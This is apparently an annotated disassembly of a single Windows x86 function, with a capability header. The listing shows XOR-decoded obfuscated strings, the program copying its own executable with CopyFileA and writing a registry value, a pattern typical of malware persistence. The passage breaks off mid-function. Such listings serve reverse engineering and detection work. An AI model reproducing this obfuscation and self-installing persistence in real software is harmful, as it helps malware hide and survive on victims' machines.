Function at 0x41e7a0
Capabilities:
Check if file exists
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52ca4c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4f0
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
push esi
push edi
mov dword [ebp - 0x44], 0xd3d6d5e3
xor ecx, ecx
mov dword [ebp - 0x40], 0xdad0fcdf
mov word [ebp - 0x3c], 0xddc7
mov byte [ebp - 0x3a], 0xcb
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xb
jb 0x41e810
mov dword [0x565530], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e843
sub ecx, edx
lea eax, [ebp - 0x44]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov dword [ebp - 4], 0
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e870
mov edi, closesocket
sub ecx, esi
mov esi, dword [0x562b3c]
mov eax, edi
sub eax, esi
cmp eax, ecx
jb 0x420f8d
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push esi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x254]
call fcn.004946d0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41e8ee
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e8e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x45], 0xc0d4c0e0
mov dword [ebp - 0x41], 0xd8daf7d2
xor ecx, ecx
mov dword [ebp - 0x3d], 0xcedaddd9
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 0xc
jb 0x41e920
mov dword [0x565528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x45]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e953
sub ecx, edx
lea eax, [ebp - 0x45]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 3
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e980
sub ecx, esi
mov eax, edi
mov esi, dword [0x562b3c]
sub eax, esi
cmp eax, ecx
jb 0x420f92
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push esi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2fc]
call fcn.004946d0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41e9f9
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e9ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x42], 0xc2e4f5e6
mov dword [ebp - 0x3e], 0xd3c1d5d7
xor ecx, ecx
mov byte [ebp - 0x3a], 0xc5
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 9
jb 0x41ea25
mov dword [0x565630], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x42]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ea58
sub ecx, edx
lea eax, [ebp - 0x42]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 6
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ea82
sub ecx, esi
mov eax, edi
mov esi, dword [0x562b3c]
sub eax, esi
cmp eax, ecx
jb 0x420f97
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push esi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x180]
call fcn.004946d0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41eafb
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41eaf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
push 0x200
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x500]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x22c], 0
lea ecx, [ebp - 0x500]
mov dword [ebp - 0x228], 0
movups xmmword [ebp - 0x23c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41eb50
sub ecx, edx
lea eax, [ebp - 0x500]
push ecx
push eax
lea ecx, [ebp - 0x23c]
call fcn.00402c40
mov byte [ebp - 4], 9
xorps xmm0, xmm0
mov dword [ebp - 0x45], 0xf3f2ffe3
xor ecx, ecx
mov dword [ebp - 0x41], 0xe6e5f5ff
mov dword [ebp - 0x3d], 0xfbedf9f3
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 0xc
jb 0x41eba0
mov dword [0x565528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x45]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x8c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x88], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ebe0
sub ecx, edx
lea eax, [ebp - 0x45]
push ecx
push eax
lea ecx, [ebp - 0x9c]
call fcn.00402c40
cmp dword [ebp - 0x88], 0x10
mov eax, 0x1fe
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x9c]
cmovae eax, dword [ebp - 0x9c]
push eax
call fcn.0051393f
mov ecx, dword [ebp - 0x88]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41ec5a
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ec50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420f9c
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
test esi, esi
je 0x41f4a8
mov ecx, esi
mov dword [ebp - 0xa4], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa0], 0
movups xmmword [ebp - 0xb4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41eca0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xb4]
call fcn.00402c40
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov byte [ebp - 0x84], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x84], al
inc ecx
cmp ecx, 1
jb 0x41ece0
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x84]
mov byte [ebp - 0x83], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ed20
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov eax, 0x5fe
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0xb4]
cmovae eax, dword [ebp - 0x6c]
push eax
call fcn.0048c9d0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41ed94
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ed8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fbb
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x240], 0x10
lea ecx, [ebp - 0x254]
mov edx, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0x254]
mov eax, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x244]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41edfa
cmp dword [ebp - 0xa0], 0x10
lea esi, [ebp - 0xb4]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xb4]
mov dword [ebp - 0xa4], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov ecx, dword [ebp - 0x18]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x41ee0d
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0xb4]
push dword [ebp - 0x18]
push edi
call fcn.00492b30
cmp dword [ebp - 0xa0], 0x10
lea esi, [ebp - 0xb4]
push 0x5651d0
cmovae esi, dword [ebp - 0xb4]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x420fa1
test esi, esi
je 0x41ee80
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ee40
sub ecx, edx
je 0x41ee80
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41ee71
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41ee71
cmp eax, 0x20
je 0x41ee71
cmp eax, 0x45
je 0x41ee71
cmp eax, 0x24
jne 0x41ee80
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x41eea0
push 0x5651d0
call fcn.00504243
add esp, 4
lea ecx, [ebp - 0xb4]
call fcn.0041deb0
test al, al
je 0x41f46a
xorps xmm0, xmm0
mov dword [ebp - 0x3d], 0xd7c9d581
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
xor ecx, ecx
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3d], al
inc ecx
cmp ecx, 4
jb 0x41eec1
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3d]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf0], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ef00
sub ecx, edx
lea eax, [ebp - 0x3d]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402c40
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x104]
cmp dword [ebp - 0xf0], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x84], 0xf3
cmovae eax, dword [ebp - 0x104]
xor ecx, ecx
mov dword [ebp - 0x20], eax
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x84], al
inc ecx
cmp ecx, 1
jb 0x41ef60
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x84]
mov byte [ebp - 0x83], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41efa0
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41efd0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xa4]
sub eax, esi
cmp eax, ecx
jb 0x420fa7
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd4]
call fcn.004946d0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x254]
cmp dword [ebp - 0x240], 0x10
mov edx, dword [ebp - 0xc4]
cmovae ecx, dword [ebp - 0x254]
mov eax, dword [ebp - 0xc0]
mov edi, dword [ebp - 0x244]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41f085
cmp dword [ebp - 0xc0], 0x10
lea esi, [ebp - 0xd4]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xd4]
mov dword [ebp - 0xc4], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xd4]
jmp 0x41f098
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0xd4]
push dword [ebp - 0x18]
push edi
call fcn.00492b30
mov dword [ebp - 0xdc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xdc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xec]
push dword [ebp - 0x20]
call fcn.0048c9d0
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0x1f5fe
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x41f17c
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f172
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fac
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x41f1d5
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f1cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fac
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41f228
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f21e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fac
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x41f266
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f25c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fac
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
jne 0x41f42c
cmp dword [ebp - 0x88], 0x10
lea ecx, [ebp - 0x9c]
push 0
cmovae ecx, dword [ebp - 0x9c]
lea eax, [ebp - 0x23c]
cmp dword [ebp - 0x228], 0x10
push ecx
cmovae eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41f42c
movaps xmm0, xmmword [0x551c40]
xor ecx, ecx
movups xmmword [ebp - 0x224], xmm0
mov dword [ebp - 0x204], 0xb787a4a1
movaps xmm0, xmmword [0x5513f0]
movups xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x200], 0xb9bca7a1
xorps xmm0, xmm0
mov dword [ebp - 0x1fc], 0xaf8b84b9
mov byte [ebp - 0x1f8], 0xb5
movups xmmword [ebp - 0x1f7], xmm0
mov dword [ebp - 0x1e7], 0
mov word [ebp - 0x1e3], 0
mov byte [ebp - 0x1e1], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x224], al
inc ecx
cmp ecx, 0x2d
jb 0x41f330
mov dword [0x565534], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x224]
mov byte [ebp - 0x1f7], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f370
sub ecx, edx
lea eax, [ebp - 0x224]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x18]
push ecx
mov eax, 0x81f5fe
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push 0x20006
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x58]
test eax, eax
sete al
mov byte [ebp - 0x19], al
cmp ecx, 0x10
jb 0x41f3f2
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f3e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fb1
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x19]
add esp, 8
test al, al
je 0x41f42c
lea ecx, [ebp - 0x9c]
call fcn.00402c10
lea ecx, [ebp - 0x254]
mov esi, eax
call fcn.00402c10
push dword [ebp - 0x8c]
push esi
push 1
push 0
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x41f46a
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f460
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fb6
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x41f4a8
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f49e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fbb
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0xe7fdfcee
mov dword [ebp - 0x44], 0xe5e7f1e0
xor ecx, ecx
mov dword [ebp - 0x40], 0xfcf6eae7
mov word [ebp - 0x3c], 0xf0f2
mov byte [ebp - 0x3a], 0xf8
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 0xf
jb 0x41f4e1
mov dword [0x565558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x8c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x88], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f520
sub ecx, edx
lea eax, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x9c]
call fcn.00402c40
or dword [ebp - 0x20], 0x200
lea eax, [ebp - 0x9c]
cmp dword [ebp - 0x88], 0x10
cmovae eax, dword [ebp - 0x9c]
push eax
call fcn.0051393f
mov ecx, dword [ebp - 0x88]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41f599
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f58f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fc0
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
test esi, esi
je 0x420e75
mov ecx, esi
mov dword [ebp - 0x140], 0
xorps xmm0, xmm0
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x150], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f5e0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x150]
call fcn.00402c40
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
mov byte [ebp - 0x84], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x84], al
inc ecx
cmp ecx, 1
jb 0x41f620
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x84]
mov byte [ebp - 0x83], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f660
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
or dword [ebp - 0x20], 0x800
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x150]
cmovae eax, dword [ebp - 0x6c]
push eax
call fcn.0048c9d0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41f6d3
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f6c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fee
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x16c], 0x10
lea ecx, [ebp - 0x180]
mov edx, dword [ebp - 0x140]
cmovae ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x170]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41f738
cmp dword [ebp - 0x13c], 0x10
lea esi, [ebp - 0x150]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x150]
mov dword [ebp - 0x140], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0x18]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
jmp 0x41f751
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0x150]
push dword [ebp - 0x18]
push edi
call fcn.00492b30
mov edi, dword [ebp - 0x170]
cmp dword [ebp - 0x13c], 0x10
lea esi, [ebp - 0x150]
push 0x5651d0
cmovae esi, dword [ebp - 0x150]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x420fc5
test esi, esi
je 0x41f7c3
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f783
sub ecx, edx
je 0x41f7c3
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41f7b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41f7b4
cmp eax, 0x20
je 0x41f7b4
cmp eax, 0x45
je 0x41f7b4
cmp eax, 0x24
jne 0x41f7c3
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x41f840
push 0x5651d0
call fcn.00504243
add esp, 4
mov dword [ebp - 0x158], 0
cmp dword [ebp - 0x13c], 0x10
lea edx, [ebp - 0x150]
xorps xmm0, xmm0
mov dword [ebp - 0x154], 0
cmovae edx, dword [ebp - 0x150]
mov ecx, edx
movups xmmword [ebp - 0x168], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f807
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x168]
call fcn.00402c40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x168]
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
call fcn.0041deb0
mov byte [ebp - 0x19], 0
test al, al
je 0x41f844
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x20]
test al, 1
je 0x41f88c
mov ecx, dword [ebp - 0x154]
cmp ecx, 0x10
jb 0x41f88c
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f882
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fcb
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp byte [ebp - 0x19], 0
je 0x420e3b
xorps xmm0, xmm0
mov dword [ebp - 0x3d], 0xd7c9d581
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
xor ecx, ecx
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3d], al
inc ecx
cmp ecx, 4
jb 0x41f8b7
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3d]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f8f3
sub ecx, edx
lea eax, [ebp - 0x3d]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402c40
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x104]
cmp dword [ebp - 0xf0], 0x10
